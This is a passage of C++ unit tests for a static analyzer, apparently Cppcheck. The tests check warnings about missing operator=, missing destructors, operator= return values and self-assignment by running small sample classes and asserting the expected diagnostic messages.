\"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an 